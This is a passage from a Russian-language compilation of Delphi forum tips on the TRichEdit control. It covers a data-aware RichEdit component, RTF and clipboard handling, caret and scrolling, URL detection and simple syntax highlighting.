    procedure KeyPress(var Key: Char); override;
    procedure Notification(AComponent: TComponent;
      Operation: TOperation); override;
    procedure WndProc(var Message: TMessage); override;
  public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
    procedure  LoadMemo;
    property   Field: TField read GetField;
  published
    property AutoDisplay: Boolean read FAutoDisplay write SetAutoDisplay
      default True;
    property DataField: string read GetDataField write SetDataField;
    property DataSource: TDataSource read GetDataSource write SetDataSource;
    property ReadOnly: Boolean read GetReadOnly write SetReadOnly
      default False;
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Data Controls', [TDBRichEdit]);
end;

{Mostly copied from DBMemo}

constructor TDBRichEdit.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  inherited ReadOnly := True;
  FAutoDisplay := True;
  FDataLink := TFieldDataLink.Create;
  FDataLink.Control := Self;
  FDataLink.OnDataChange := DataChange;
  FDataLink.OnEditingChange := EditingChange;
  FDataLink.OnUpdateData := UpdateData;
  FPaintControl := TPaintControl.Create(Self, 'EDIT');
end;

destructor TDBRichEdit.Destroy;
begin
  FPaintControl.Free;
  FDataLink.Free;
  FDataLink := nil;
  inherited Destroy;
end;

procedure TDBRichEdit.Notification(AComponent: TComponent;
  Operation: TOperation);
begin
  inherited Notification(AComponent, Operation);
  if (Operation = opRemove) and (FDataLink <> nil) and
    (AComponent = DataSource) then DataSource := nil;
end;

procedure TDBRichEdit.KeyDown(var Key: Word; Shift: TShiftState);
begin
  inherited KeyDown(Key, Shift);
  if FMemoLoaded then
  begin
    if (Key = VK_DELETE) or ((Key = VK_INSERT) and (ssShift in Shift)) then
      FDataLink.Edit;
  end else
    Key := 0;
end;

procedure TDBRichEdit.KeyPress(var Key: Char);
begin
  inherited KeyPress(Key);
  if FMemoLoaded then
  begin
    if (Key in [#32..#255]) and (FDataLink.Field <> nil) and
      not FDataLink.Field.IsValidChar(Key) then
    begin
      MessageBeep(0);
      Key := #0;
    end;
    case Key of
      ^H, ^I, ^J, ^M, ^V, ^X, #32..#255:
        FDataLink.Edit;
      #27:
        FDataLink.Reset;
    end;
  end else
  begin
    if Key = #13 then LoadMemo;
    Key := #0;
  end;
end;

procedure TDBRichEdit.Change;
begin
  with FdataLink do
  begin
    {if Assigned(FdataLink) and (Assigned(DataSource))and
     (DataSource.State = dsBrowse) then
      Edit; } {make sure edits on Attributes change}
    if FMemoLoaded then Modified;
  end;
  FMemoLoaded := True;
  inherited Change;
end;

function TDBRichEdit.GetDataSource: TDataSource;
begin
  Result := FDataLink.DataSource;
end;

procedure TDBRichEdit.SetDataSource(Value: TDataSource);
begin
  FDataLink.DataSource := Value;
  if Value <> nil then Value.FreeNotification(Self);
end;

function TDBRichEdit.GetDataField: string;
begin
  Result := FDataLink.FieldName;
end;

procedure TDBRichEdit.SetDataField(const Value: string);
begin
  FDataLink.FieldName := Value;
end;

function TDBRichEdit.GetReadOnly: Boolean;
begin
  Result := FDataLink.ReadOnly;
end;

Взято из http://forum.sources.ru


Как вставить картинку в RichEdit?

В стандартном RichEdit нельзя, для RichEdit с картинками используйте RichEdit из RxLib или JVCL.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Ниже представлен пример, который можно применить к RxRichEdit, RichEditEx, RichEdit98, и Microsoft RichTextBox (поставляемый с VB5+) не прибегая к использованию буфера обмена или OLE:

function BitmapToRTF(pict: TBitmap): string;
var
  bi,bb,rtf: string;
  bis,bbs: Cardinal;
  achar: ShortString;
  hexpict: string;
  I: Integer;
begin
  GetDIBSizes(pict.Handle,bis,bbs);
  SetLength(bi,bis);
  SetLength(bb,bbs);
  GetDIB(pict.Handle,pict.Palette,PChar(bi)^,PChar(bb)^);
  rtf := '{\rtf1 {\pict\dibitmap ';
  SetLength(hexpict,(Length(bb) + Length(bi)) * 2);
  I := 2;
  for bis := 1 to Length(bi) do
  begin
    achar := Format('%x',[Integer(bi[bis])]);
    if Length(achar) = 1 then
      achar := '0' + achar;
    hexpict[I-1] := achar[1];
    hexpict[I] := achar[2];
    Inc(I,2);
  end;
  for bbs := 1 to Length(bb) do
  begin
    achar := Format('%x',[Integer(bb[bbs])]);
    if Length(achar) = 1 then
      achar := '0' + achar;
    hexpict[I-1] := achar[1];
    hexpict[I] := achar[2];
    Inc(I,2);
  end;
  rtf := rtf + hexpict + ' }}';
  Result := rtf;
end;

А вот пример использования этой функции:

{SS это TStringStream, RE это TRxRichEdit, а BMP это TBitmap содержащий картинку.}
SS := TStringStream.Create(BitmapToRTF(BMP));
RE.PlainText := False;
RE.StreamMode := [smSelection];
RE.Lines.LoadFromStream(SS);
SS.Free;

Взято из http://forum.sources.ru


Как менять шрифт в RichEdit горячими клавишами?

Следующий пример показывает, как можно изменять шрифт в компоненте TRichEdit при помощи следующих комбинаций клавиш:

Ctrl + B - Включает и выключает жирность (Bold) шрифта
Ctrl + I - Включает и выключает (Italic) шрифта
Ctrl + S - Включает и выключает зачёркивание (Strikeout) шрифта
Ctrl + U - Включает и выключает подчёркивание (Underline) шрифта

Замечание: Так же можно устанавливать сразу несколько типов шрифта.

Пример:

const
  KEY_CTRL_B = 02;
  KEY_CTRL_I =  9;
  KEY_CTRL_S = 19;
  KEY_CTRL_U = 21;

procedure TForm1.RichEdit1KeyPress(Sender: TObject; var Key: Char);
begin
  case Ord(Key) of
    KEY_CTRL_B: begin
      Key := #0;
      if fsBold in (Sender as TRichEdit).SelAttributes.Style then
      (Sender as TRichEdit).SelAttributes.Style :=
        (Sender as TRichEdit).SelAttributes.Style - [fsBold] else
      (Sender as TRichEdit).SelAttributes.Style :=
        (Sender as TRichEdit).SelAttributes.Style + [fsBold];
    end;
    KEY_CTRL_I: begin
      Key := #0;
      if fsItalic in
      (Sender as TRichEdit).SelAttributes.Style then
        (Sender as TRichEdit).SelAttributes.Style :=
        (Sender as TRichEdit).SelAttributes.Style - [fsItalic]
      else
       (Sender as TRichEdit).SelAttributes.Style :=
       (Sender as TRichEdit).SelAttributes.Style + [fsItalic];
    end;
    KEY_CTRL_S: begin
       Key := #0;
      if fsStrikeout in
      (Sender as TRichEdit).SelAttributes.Style then
        (Sender as TRichEdit).SelAttributes.Style :=
        (Sender as TRichEdit).SelAttributes.Style - [fsStrikeout]
      else
        (Sender as TRichEdit).SelAttributes.Style :=
        (Sender as TRichEdit).SelAttributes.Style + [fsStrikeout];
    end;
    KEY_CTRL_U: begin
       Key := #0;
      if fsUnderline in
      (Sender as TRichEdit).SelAttributes.Style then
        (Sender as TRichEdit).SelAttributes.Style :=
        (Sender as TRichEdit).SelAttributes.Style - [fsUnderline]
      else
        (Sender as TRichEdit).SelAttributes.Style :=
        (Sender as TRichEdit).SelAttributes.Style + [fsUnderline];
    end;
  end;
end;

Взято из http://forum.sources.ru


Как получить определённую часть текста из RichEdit?

Иногда бывает необходимо полудить только часть текста из RichEdit не выделяя его, то есть не используя свойство SelText. Ниже представлен код, который позволяет сделать это.

{Переопределяем неправильное объявление TTextRange в RichEdit.pas}
  TTextRange = record
                 chrg: TCharRange;
                 lpstrText: PAnsiChar;
               end;

function REGetTextRange(RichEdit: TRichEdit;
                        BeginPos, MaxLength: Integer): string;
{RichEdit - RichEdit control
BeginPos - абсолютное значение первого символа
MaxLength - максимально число получаемых символов}
var
  TextRange: TTextRange;
begin
  if MaxLength>0 then
  begin
     SetLength(Result, MaxLength);
     with TextRange do
     begin
       chrg.cpMin := BeginPos;
       chrg.cpMax := BeginPos+MaxLength;
       lpstrText := PChar(Result);
     end;
     SetLength(Result, SendMessage(RichEdit.Handle, EM_GETTEXTRANGE, 0,
               longint(@TextRange)));
  end
   else Result:='';
end;

Следующую функцию можно использовать для получения слова, над которым находится курсор мышки:

function RECharIndexByPos(RichEdit: TRichEdit; X, Y: Integer): Integer;
{ функция возвращает абсолютное положение символа для данных координат курсора}

var
  P: TPoint;
begin
  P := Point(X, Y);
  Result := SendMessage(RichEdit.Handle, EM_CHARFROMPOS, 0, longint(@P));
end;

function REExtractWordFromPos(RichEdit: TRichEdit;  X,  Y:  Integer):=
string;
{ X, Y - координаты в rich edit }
{возвращает слово в текущих координатах курсора}

var
  BegPos, EndPos: Integer;
begin
   BegPos := RECharIndexByPos(RichEdit, X,  Y);
  if (BegPos < 0)  or
   (SendMessage(RichEdit.Handle,EM_FINDWORDBREAK,WB_CLASSIFY,BegPos) and
                      (WBF_BREAKLINE or WBF_ISWHITE) <> 0 )      then
   begin
      result:='';
      exit;
   end;

   if SendMessage(RichEdit.Handle, EM_FINDWORDBREAK,WB_CLASSIFY,BegPos-1) and
      (WBF_BREAKLINE or WBF_ISWHITE)  =  0  then
         BegPos:=SendMessage(RichEdit.Handle, EM_FINDWORDBREAK,
                             WB_MOVEWORDLEFT, BegPos);
  EndPos:=SendMessage(RichEdit.Handle,EM_FINDWORDBREAK,WB_MOVEWORDRIGHT,BegPos);
  Result:=TrimRight(REGetTextRange(RichEdit, BegPos, EndPos - BegPos));
end;

Взято из http://forum.sources.ru


Как прокрутить TRichEdit в конец?

Существует множество способов, включая и:

---DO NOT USE THIS EXAMPLE - SEE BELOW INSTEAD---
    with MainFrm.RichEdit1 do
    begin
      perform (WM_VSCROLL, SB_BOTTOM, 0);
      perform (WM_VSCROLL, SB_PAGEUP, 0);
    end;
-------------------------------------------------

Вышеприведённый пример работает отлично в 9x и NT4, но не работает в Windows 2000. Поэетому предлагаю воспользоваться следующим примером:

    with MainFrm.RichEdit1 do
    begin
      SelStart := Length(Text);
      Perform(EM_SCROLLCARET, 0, 0);
    end;

Взято из http://forum.sources.ru


Установка каретки в RichEdit

Узнать положение курсора в RichEdit не составляет труда (richedit.getcaret). А вот как установить каретку в нужное место ?.

Procedure setline(WhichEdit:TRichedit;Linepos,charpos:integer);
Begin
with WhichEdit do
begin
  selstart:=perform(EM_LineIndex,Linenum,0)+charpos;
  perform(EM_ScrollCaret,0,0);
end;
end;

Комментарии:
Если Вам не нужно, чтобы происходил скроллинг к позиции каретки, то EM_ScrollCaret можно убрать. Эта процедура так же может быть использована для TMemo, только надо будет заменить объявление witchedit на TMemo:
Procedure CustomMemoSetline(WhichEdit:TCustomMemo;Linepos,charpos:integer);

Так же эту процедуру можно использовать как ответ на вопрос "Как установить фокус на определённую строку в компоненте Memo ?". Для этого необходимо добавить следующий код после строки selstart:
sellength:=length(lines(line));
И установить charpos в 0.

RichEdit должен иметь фокус, иначе em_ScrollCaret не сработает.

Взято из http://forum.sources.ru


Как скопировать содержимое одного RichEdit в другой?

TMemoryStream это самый простой инструмент взаимодействия между всеми VCL компонентами:

procedure TForm1.Button1Click(Sender: TObject);
var
  MemoryStream:TMemoryStream;
begin
  MemoryStream:=TMemoryStream.Create;
  try
    RichEdit1.Lines.SaveToStream(MemoryStream);
    MemoryStream.Seek(0,soFromBeginning);
    RichEdit2.Lines.LoadFromStream(MemoryStream);
  finally
    MemoryStream.Free;
  end;
end;

Взято из http://forum.sources.ru


Позиция курсора в TRichEdit

Так как вопрос давольно часто поднимается в форумах, то хотелось бы привести ответ на него. Итак, как же получить текущие координаты курсора (Row и Col) в TRichEdit ?

Вот пример решения данной проблемы:

Procedure TForm1.GetPosition(Sender: TRichEdit);
var
  iX,iY  : Integer;
  TheRichEdit : TRichEdit;
begin
  iX := 0; iY := 0;
  TheRichEdit := TRichEdit(Sender);
  iY := SendMessage(TheRichEdit.Handle, EM_LINEFROMCHAR, TheRichEdit.SelStart,
  0);
  iX := TheRichEdit.SelStart - SendMessage(TheRichEdit.Handle, EM_LINEINDEX,
  iY, 0);
  Panel1.Caption := IntToStr(iY + 1) + ':' + IntToStr(iX + 1) ;
end;

procedure TForm1.RichEditMouseDown(Sender: TObject;
  Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
  GetPosition(RichEdit);
end;

procedure TForm1.RichEditKeyUp(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  GetPosition(RichEdit);
end;

Взято из http://forum.sources.ru


Как из RXRichEdit сохранить в RTF формате?

procedure TForm1.Button1Click(Sender: TObject);
  var t:TFileStream;
begin
  t:=TFileStream.create('c:\myfilename.txt', fmCreate or fmOpenWrite);
  t.Size:=0;
  RxRichEdit1.Lines.SaveToStream(t);
  t.free;
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как копировать RTF текст в буффер обмена?

{
You have to dig into the Rich Text Format if you want to copy text to the
clipboard that has format information embedded. The application you paste
this text into has to understand RTF, or the formatting will not show up.

OK, the first step is to register a clipboard format for RTF, since this is
not a predefined format:
}

Var
  CF_RTF : Word;

  CF_RTF := RegisterClipboardFormat('Rich Text Format');

{
The format name has to appear as typed above, this is the name used by MS
Word for Windows and similar MS products.

NOTE: The Richedit Unit declares a constant CF_RTF, which is NOT the
clipboard format handle but the string you need to pass to RegisterClipboard
format! So you can place Richedit into your uses clause and change the line
above to
}

  CF_RTF := RegisterClipboardFormat(Richedit.CF_RTF);

{
The next step is to build a RTF string with the embedded format information.
You will get a shock if you inspect the mess of RTF stuff W4W will put into
the clipboard if you copy just a few characters (the app below allows you to
inspect the clipboard), but you can get away with a lot less. The bare
minimum would be something like this (inserts an underlined 44444):
}

const
  testtext: PChar = '{\rtf1\ansi\pard\plain 12{\ul 44444}}';

{
The correct balance of opening and closing braces is extremely important, one
mismatch and the target app will not be able to interpret the text
correctly. If you want to control the font used for the pasted text you need
to add a fonttable (the default font is Tms Rmn, not the active font in the
target app!). See example app below, testtext2. If you want more info, the
full RTF specs can be found on www.microsoft.com, a subset is also described
in the Windows help compiler docs (hcw.hlp, comes with Delphi).
}

unit Clipfmt1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    MemFormats: TMemo;
    label1: TLabel;
    BtnShowFormats: TButton;
    BtnGetRTF: TButton;
    BtnSetRTF: TButton;
    MemExample: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure BtnShowFormatsClick(Sender: TObject);
    procedure BtnGetRTFClick(Sender: TObject);
    procedure BtnSetRTFClick(Sender: TObject);
  private
  public
    CF_RTF: Word;
  end;

var
  Form1: TForm1;

implementation

uses Clipbrd;

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  // register clipboard format rtf
  CF_RTF := RegisterClipboardFormat('Rich Text Format');
  if CF_RTF = 0 then
  begin
    ShowMessage('Unable to register the Rich Text clipboard format!');
    Application.Terminate;
  end;
  BtnShowFormats.Click;
end;

// show clipboard formats
procedure TForm1.BtnShowFormatsClick(Sender: TObject);
var
  buf: array [0..60] of Char;
  n: Integer;
  fmt: Word;
  Name: string[30];
begin
  MemFormats.Clear;
  for n := 0 to Clipboard.FormatCount - 1 do
  begin
    fmt := Clipboard.Formats[n];
    if GetClipboardFormatName(fmt, buf, Pred(SizeOf(buf))) <> 0 then
      MemFormats.Lines.Add(StrPas(buf))
    else
    begin
      case fmt of
        1: Name := 'CF_TEXT';
        2: Name := 'CF_BITMAP';
        3: Name := 'CF_METAFILEPICT';
        4: Name := 'CF_SYLK';
        5: Name := 'CF_DIF';
        6: Name := 'CF_TIFF';
        7: Name := 'CF_OEMTEXT';
        8: Name := 'CF_DIB';
        9: Name := 'CF_PALETTE';
        10: Name := 'CF_PENDATA';
        11: Name := 'CF_RIFF';
        12: Name := 'CF_WAVE';
        13: Name := 'CF_UNICODETEXT';
        14: Name := 'CF_ENHMETAFILE';
        15: Name := 'CF_HDROP (Win 95)';
        16: Name := 'CF_LOCALE (Win 95)';
        17: Name := 'CF_MAX (Win 95)';
        $0080: Name := 'CF_OWNERDISPLAY';
        $0081: Name := 'CF_DSPTEXT';
        $0082: Name := 'CF_DSPBITMAP';
        $0083: Name := 'CF_DSPMETAFILEPICT';
        $008E: Name := 'CF_DSPENHMETAFILE';
        $0200..$02FF: Name := 'private format';
        $0300..$03FF: Name := 'GDI object';
        else
          Name := 'unknown format';
      end;
      MemFormats.Lines.Add(Name);
    end;
  end;
end;

// get rtf code from clipboard
procedure TForm1.BtnGetRTFClick(Sender: TObject);
var
  MemHandle: THandle;
begin
  with Clipboard do
  begin
    Open;
    try
      if HasFormat(CF_RTF) then
      begin
        MemHandle := GetAsHandle(CF_RTF);
        MemExample.SetTextBuf(GlobalLock(MemHandle));
        GlobalUnlock(MemHandle);
      end
      else
        MessageDlg('The clipboard contains no RTF text!',
          mtError, [mbOK], 0);
    finally
      Close;
    end;
  end;
end;

// set rtf code to the clipboard
procedure TForm1.BtnSetRTFClick(Sender: TObject);
const
  testtext: PChar = '{\rtf1\ansi\pard\plain 12{\ul 44444}}';
  testtext2: PChar = '{\rtf1\ansi' +
    '\deff4\deflang1033{\fonttbl{\f4\froman\fcharset0\fprq2 Times New Roman;}}' +
    '\pard\plain 12{\ul 44444}}';
  flap: Boolean = False;
var
  MemHandle: THandle;
  rtfstring: PChar;
begin
  with Clipboard do
  begin
    if flap then
      rtfstring := testtext2
    else
      rtfstring := testtext;
    flap := not flap;
    MemHandle := GlobalAlloc(GHND or GMEM_SHARE, StrLen(rtfstring) + 1);
    if MemHandle <> 0 then
    begin
      StrCopy(GlobalLock(MemHandle), rtfstring);
      GlobalUnlock(MemHandle);
      Open;
      try
        AsText := '1244444';
        SetAsHandle(CF_RTF, MemHandle);
      finally
        Close;
      end;
    end
    else
      MessageDlg('Global Alloc failed!',
        mtError, [mbOK], 0);
  end;
end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как использовать верхние и нижние индексы?

RichEdit поддерживает верхние/нижние индексы;
Вот как это делается:

uses RichEdit;

procedure TForm1.Button1Click(Sender: TObject);
var
  CF: TCharFormat;
begin
  cf.cbSize := sizeof(cf);
  cf.dwMask := CFM_OFFSET;
  cf.yOffset := 70; // смещение по y; положительное/отрицательное для смещение верх/вниз
  RichEdit1.Perform(EM_SETCHARFORMAT, SCF_SELECTION, integer(@cf));
end;

SCF_ALL применить ко всему тексту
SCF_SELECTION применить к веделенному тексту
SCF_WORD | SCF_SELECTION применить к выделенным словам

Взято из MSDN. Проверено на Delphi7. Это работает. Попробый сделать сам, чтобы верхние/нижние индексы имели меньший размер.

Тем более это работает в rxRichEdit.

Автор: Seti

Взято с Vingrad.ru http://forum.vingrad.ru


Как указать максимальный размер текста для RichEdit Control?

У этого компонента есть свойство MaxLength, которое работает некорректно. Поэтому лучше пользоваться
RichEdit.Perform(EM_LIMITTEXT, нужный размер, 0);

Причем перед каждом открытии файла это действие необходимо повторять.

Maxim Liverovskiy
(2:5030/254.38)

Если Вы передаете в качестве размера 0, то ОС ограничивает размер OS Specific Default Value. Реально, по результатам моих экспериментов, поставить можно размер, чуть меньший доступной виртуальной памяти. Я ограничился 90% от свободной виртуалки.
Для того, чтобы не повторять этот вызов (EM_LIMITTEXT), можно воспользоваться сообщением EM_EXLIMITTEXT.

Stas Mehanoshin

Автор: StayAtHome

Взято с Vingrad.ru http://forum.vingrad.ru


How to render a TRichEdit text onto a canvas?

procedure RichEditToCanvas(RichEdit: TRichEdit; Canvas: TCanvas; PixelsPerInch: Integer);
var
  ImageCanvas: TCanvas;
  fmt: TFormatRange;
begin
  ImageCanvas := Canvas;
  with fmt do
  begin
    hdc:= ImageCanvas.Handle;
    hdcTarget:= hdc;
    // rect needs to be specified in twips (1/1440 inch) as unit
    rc:=  Rect(0, 0,
                ImageCanvas.ClipRect.Right * 1440 div PixelsPerInch,
                ImageCanvas.ClipRect.Bottom * 1440 div PixelsPerInch
              );
    rcPage:= rc;
    chrg.cpMin := 0;
    chrg.cpMax := RichEdit.GetTextLen;
  end;
  SetBkMode(ImageCanvas.Handle, TRANSPARENT);
  RichEdit.Perform(EM_FORMATRANGE, 1, Integer(@fmt));
  // next call frees some cached data
  RichEdit.Perform(EM_FORMATRANGE, 0, 0);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
   RichEditToCanvas(RichEdit1, Image1.Canvas, Self.PixelsPerInch);
   Image1.Refresh;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как выделить URL в TRichEdit?

{....}

  protected
    procedure WndProc(var Message: TMessage); override;

{....}

uses Richedit, ShellApi;

{Today I want to show how to implement URL highlighting and URL navigation
without any third-party components. This functionality is implemented in
RichEdit from Microsoft (and MS Outlook use this feature, for example) and
only Borland's developers didn't publish it for us.}

procedure TForm1.FormCreate(Sender: TObject);
var
  mask: Word;
begin
  mask := SendMessage(RichEdit1.Handle, EM_GETEVENTMASK, 0, 0);
  SendMessage(RichEdit1.Handle, EM_SETEVENTMASK, 0, mask or ENM_LINK);
  SendMessage(RichEdit1.Handle, EM_AUTOURLDETECT, Integer(True), 0);

  //Some text in RichEdit
  RichEdit1.Text := 'Scalabium Software'#13#10 +
    ' Site is located at www.scalabium.com. Welcome to our site.';
end;

procedure TForm1.WndProc(var Message: TMessage);
var
  p: TENLink;
  strURL: string;
begin
  if (Message.Msg = WM_NOTIFY) then
  begin
    if (PNMHDR(Message.lParam).code = EN_LINK) then
    begin
      p := TENLink(Pointer(TWMNotify(Message).NMHdr)^);
      if (p.Msg = WM_LBUTTONDOWN) then
      begin
        SendMessage(RichEdit1.Handle, EM_EXSETSEL, 0, Longint(@(p.chrg)));
        strURL := RichEdit1.SelText;
        ShellExecute(Handle, 'open', PChar(strURL), 0, 0, SW_SHOWNORMAL);
      end
    end
  end;

  inherited;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Подсветка синтаксиса

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls, ComCtrls;

type
  TForm1 = class(TForm)
    RichEdit1: TRichEdit;
    Button1: TButton;
    OpenDialog1: TOpenDialog;
    Button2: TButton;
    procedure RichEdit1KeyUp(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure HighLight;
    function CheckList(InString: string): boolean;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

function TForm1.CheckList(InString: string): boolean;
const TheList: array[1..13] of string = ('begin', 'or', 'end','end.',
'end;', 'then', 'var', 'for', 'do', 'if', 'to', 'string', 'while');
var X: integer;
begin
  Result := false;
  X := 1;
  InString := StringReplace(InString, ' ', '',[rfReplaceAll]);
  InString := StringReplace(InString, #$A, '',[rfReplaceAll]);
  InString := StringReplace(InString, #$D, '',[rfReplaceAll]);
  while X < High(TheList) + 1 do
  if TheList[X] = lowercase(InString) then
  begin
    Result := true;
    X := High(TheList) + 1;
  end
  else inc(X);
end;

procedure TForm1.RichEdit1KeyUp(Sender: TObject; var Key: Word;
  Shift: TShiftState);
var WEnd, WStart, BCount: integer;
  Mark: string;
begin
  if (ssCtrl in Shift) and (Key = ord('V')) then Button2Click(Self);
  if (Key = VK_Return) or (Key = VK_Back) or (Key = VK_Space) then
  begin
    if RichEdit1.SelStart > 1 then
    begin
      WStart := 0;
      WEnd := RichEdit1.SelStart;
      BCount := WEnd - 1;
      while BCount <> 0 do
      begin
        Mark := copy(RichEdit1.Text, BCount, 1);
        if (Mark = ' ') or (Mark = #$A) then
        begin
          WStart := BCount;
          BCount := 1;
        end;
        dec(BCount);
      end;
      RichEdit1.SelStart := WEnd - (WEnd - WStart);
      RichEdit1.SelLength := WEnd - WStart;
      if CheckList(RichEdit1.SelText) then
        RichEdit1.SelAttributes.Style := [fsBold]
      else RichEdit1.SelAttributes.Style := [];
      RichEdit1.SelStart := WEnd;
      RichEdit1.SelAttributes.Style := [];
    end;
  end;
end;

function SearchFor(WorkSpace, Search: string; Start: integer): integer;
var Temp: string;
begin
  Temp := copy(WorkSpace, Start, length(WorkSpace));
  Result := pos(Search, Temp);
end;

procedure TForm1.HighLight;
var WStart, WEnd, WEnd2: integer;
  WorkSpace, SWord: string;
begin
  WStart  :=  1;
  WEnd  :=  1;
  with  RichEdit1 do
  begin
    WorkSpace  :=  Text + ' ' + #$D#$A;
    while WEnd > 0 do
    begin
      WEnd := SearchFor(WorkSpace, ' ', WStart);
      WEnd2 := SearchFor(WorkSpace, #$A, WStart);
      if WEnd2 < WEnd then WEnd := WEnd2;
      SWord := copy(WorkSpace, WStart, WEnd - 1);
      if (SWord <> ' ') and (SWord <>'') then
        if CheckList(SWord) then
        begin
          SelStart  := WStart - 1;
          SelLength := length(SWord);
          SelAttributes.Style := [fsBOLD];
          SelStart := WStart + length(SWord) + 1;
          SelAttributes.Style := [];
        end;
      WStart := WStart + WEnd;
    end;
    SelStart := length(Text);
    SetFocus;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    RichEdit1.Lines.LoadFromFile(OpenDialog1.FileName);
    HighLight;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  RichEdit1.PasteFromClipboard;
  HighLight;
end;

end.

Взято с http://delphiworld.narod.ru


Таблицу в clipboard

У меня есть 2 memo. как мне сделать так, чтобы в клипборд посылалосьтабличка из двух ячеек с содержимым их мемо. точнее как загнать табличку в клипборд программно.
Я смотрел, что когда копируешь из wordа табличку, то в клипе лежит текст и картинка (вот с эти я больше всего не понял). Не понятно!!

Итак во-первых
Мутим такую программку

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Clipbrd, ComCtrls;

type
  TForm1 = class(TForm)
    memformats: TMemo;
    memexample: TMemo;
    Label1: TLabel;
    BtnShowFormats: TButton;
    btngetrtf: TButton;
    btnsetrtf: TButton;
    RichEdit1: TRichEdit;
    procedure FormCreate(Sender: TObject);
    procedure BtnShowFormatsClick(Sender: TObject);
    procedure btngetrtfClick(Sender: TObject);
    procedure btnsetrtfClick(Sender: TObject);
  private
    { Private declarations }
  public
    CF_RTF: Word;
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  // register clipboard format rtf
  CF_RTF := RegisterClipboardFormat('Rich Text Format');
  if CF_RTF = 0 then
  begin
    ShowMessage('Unable to register the Rich Text clipboard format!');
    Application.Terminate;
  end;
  BtnShowFormats.Click;
end;

procedure TForm1.BtnShowFormatsClick(Sender: TObject);
var
  buf: array [0..60] of Char;
  n: Integer;
  fmt: Word;
  Name: string[30];
begin
  MemFormats.Clear;
  for n := 0 to Clipboard.FormatCount - 1 do
  begin
    fmt := Clipboard.Formats[n];
    if GetClipboardFormatName(fmt, buf, Pred(SizeOf(buf))) <> 0 then
      MemFormats.Lines.Add(StrPas(buf))
    else
    begin
      case fmt of
        1: Name := 'CF_TEXT';
        2: Name := 'CF_BITMAP';
        3: Name := 'CF_METAFILEPICT';
        4: Name := 'CF_SYLK';
        5: Name := 'CF_DIF';
        6: Name := 'CF_TIFF';
        7: Name := 'CF_OEMTEXT';
        8: Name := 'CF_DIB';
        9: Name := 'CF_PALETTE';
        10: Name := 'CF_PENDATA';
        11: Name := 'CF_RIFF';
        12: Name := 'CF_WAVE';
        13: Name := 'CF_UNICODETEXT';
        14: Name := 'CF_ENHMETAFILE';
        15: Name := 'CF_HDROP (Win 95)';
        16: Name := 'CF_LOCALE (Win 95)';
        17: Name := 'CF_MAX (Win 95)';
        $0080: Name := 'CF_OWNERDISPLAY';
        $0081: Name := 'CF_DSPTEXT';
        $0082: Name := 'CF_DSPBITMAP';
        $0083: Name := 'CF_DSPMETAFILEPICT';
        $008E: Name := 'CF_DSPENHMETAFILE';
        $0200..$02FF: Name := 'private format';
        $0300..$03FF: Name := 'GDI object';
        else
          Name := 'unknown format';
      end;
      MemFormats.Lines.Add(Name);
    end;
  end;
end;

procedure TForm1.btngetrtfClick(Sender: TObject);
var
  MemHandle: THandle;
begin
  with Clipboard do
  begin
    Open;
    try
      if HasFormat(CF_RTF) then
      begin
        MemHandle := GetAsHandle(CF_RTF);
        MemExample.SetTextBuf(GlobalLock(MemHandle));
        GlobalUnlock(MemHandle);
      end
      else
        MessageDlg('The clipboard contains no RTF text!',
          mtError, [mbOK], 0);
    finally
      Close;
    end;
  end;
end;

procedure TForm1.btnsetrtfClick(Sender: TObject);
const
  testtext: PChar = '{\rtf1\ansi\pard\plain 12{\ul 44444}}';
  testtext2: PChar = '{\rtf1\ansi' +
    '\deff4\deflang1033{\fonttbl{\f4\froman\fcharset0\fprq2 Times New Roman Cyr;}}' +
    '\pard\plain 12{\ul апопьт4}}';
var
  MemHandle: THandle;
  rtfstring: PChar;
begin

  with Clipboard do
  begin
    rtfstring :=memexample.Lines.GetText;
//    rtfstring :=testtext;
    MemHandle := GlobalAlloc(GHND or GMEM_SHARE, StrLen(rtfstring) + 1);
    if MemHandle <> 0 then
    begin
      StrCopy(GlobalLock(MemHandle), rtfstring);
      GlobalUnlock(MemHandle);
      Open;
      try
       // AsText := '1244444';
        SetAsHandle(CF_RTF, MemHandle);
      finally
        Close;
      end;
    end
    else
      MessageDlg('Global Alloc failed!',
        mtError, [mbOK], 0);
  end;
end;
end.

прога представляет из себя просмоторщик rtf-текста в буфере. Из вёрда допустим, копируем табличку, нажимает на кнопочку(btngetrtf) в проге и в memo высветится наш клипборд
Точнее из этой проги, в основном нам нужна процедура копирования в буфер, благополучно ее и забираем, а также то, что получается в буфере.

